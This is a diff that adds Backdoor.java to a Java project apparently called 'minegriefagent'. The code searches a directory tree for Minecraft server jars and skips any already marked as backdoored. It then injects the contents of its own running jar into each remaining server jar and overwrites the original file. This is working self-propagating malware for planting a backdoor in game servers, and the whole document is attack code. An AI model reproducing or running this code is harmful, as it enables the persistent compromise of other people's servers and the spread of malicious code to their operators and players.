Create Backdoor.java

agent/capabilities/Backdoor.java

@@ -0,0 +1,143 @@
+package com.chebuya.minegriefagent.capabilities;
+
+import java.io.*;
+import java.nio.file.Files;
+import java.nio.file.Paths;
+import java.util.ArrayDeque;
+import java.util.HashMap;
+import java.util.Map;
+import java.util.Queue;
+import java.util.zip.ZipEntry;
+import java.util.zip.ZipInputStream;
+import java.util.zip.ZipOutputStream;
+
+import static com.chebuya.minegriefagent.util.Filesystem.getFileExtension;
+import static com.chebuya.minegriefagent.util.Filesystem.pathExistsInZip;
+import static com.chebuya.minegriefagent.util.Logging.LOGGER;
+
+public class Backdoor {
+    public static void installBackdoor(String directory) {
+        File root = new File(directory);
+        if (!root.exists() || !root.isDirectory()) {
+            LOGGER.warning("the backdoor search directory " + directory + " does not exist");
+            return;
+        }
+
+        Queue<File> queue = new ArrayDeque<>();
+        queue.add(root);
+
+        LOGGER.info("searching filesystem for .jars");
+        while (!queue.isEmpty()) {
+            File currentDir = queue.poll();
+            File[] files = currentDir.listFiles();
+
+            if (files == null) {
+                continue;
+            }
+
+            for (File file : files) {
+                if (file.isDirectory()) {
+                    queue.add(file);
+                    continue;
+                }
+
+                if (!getFileExtension(file).equals("jar")) {
+                    continue;
+                }
+                LOGGER.info("detected jar: " + file.getAbsolutePath());
+
+                if (!pathExistsInZip(file.getAbsolutePath(), "net/minecraft/bundler/Main$FileEntry.class")) {
+                    continue;
+                }
+                LOGGER.info("detected minecraft server jar: " + file.getAbsolutePath());
+
+                byte[] zipData;
+                try {
+                    zipData = Files.readAllBytes(Paths.get(file.getAbsolutePath()));
+                } catch (IOException e) {
+                    throw new RuntimeException(e);
+                }
+
+                Map<String, byte[]> zipFiles = unzipToMemory(zipData);
+
+                Boolean skip = false;
+                for (String fileName : zipFiles.keySet() ) {
+                    if (fileName.equals("META-INF/MANIFEST.MF")) {
+                        String manifest = new String(zipFiles.get(fileName));
+                        if (manifest.contains("Backdoor")) {
+                            LOGGER.info(file.getAbsoluteFile() + " already backdoored!");
+                            skip = true;
+                            break;
+                        }
+                    }
+                }
+                if (skip) {
+                    continue;
+                }
+
+                String jarName = System.getProperty("sun.java.command");
+                try {
+                    zipData = Files.readAllBytes(Paths.get(jarName));
+                } catch (IOException e) {
+                    throw new RuntimeException(e);
+                }
+                Map<String, byte[]> selfFiles = unzipToMemory(zipData);
+                LOGGER.info("adding self into server jar");
+                for ( String fileName: selfFiles.keySet() ) {
+
+                    if (fileName.equals("net/minecraft/bundler/Main.class")) {
+                        continue;
+                    }
+
+                    zipFiles.put(fileName, selfFiles.get(fileName));
+                }
+
+                zipFromMemory(zipFiles, file.getAbsolutePath());
+                LOGGER.info("Backdooring success!");
+            }
+        }
+    }
+
+    private static void zipFromMemory(Map<String, byte[]> files, String outputPath) {
+        try (FileOutputStream fos = new FileOutputStream(outputPath);
+             ZipOutputStream zos = new ZipOutputStream(fos)) {
+
+            for (Map.Entry<String, byte[]> entry : files.entrySet()) {
+                ZipEntry zipEntry = new ZipEntry(entry.getKey());
+                zos.putNextEntry(zipEntry);
+                zos.write(entry.getValue());
+                zos.closeEntry();
+            }
+        } catch (Exception e) {
+            throw new RuntimeException(e);
+        }
+    }
+
+    private static Map<String, byte[]> unzipToMemory(byte[] zipData) {
+        Map<String, byte[]> extractedFiles = new HashMap<>();
+
+        try (ZipInputStream zis = new ZipInputStream(new java.io.ByteArrayInputStream(zipData))) {
+            ZipEntry entry;
+            byte[] buffer = new byte[4096];
+
+            while ((entry = zis.getNextEntry()) != null) {
+                if (!entry.isDirectory()) {
+                    ByteArrayOutputStream bos = new ByteArrayOutputStream();
+                    int len;
+
+                    while ((len = zis.read(buffer)) > 0) {
+                        bos.write(buffer, 0, len);
+                    }
+
+                    extractedFiles.put(entry.getName(), bos.toByteArray());
+                    bos.close();
+                }
+                zis.closeEntry();
+            }
+        } catch (Exception e) {
+            throw new RuntimeException(e);
+        }
+
+        return extractedFiles;
+    }
+}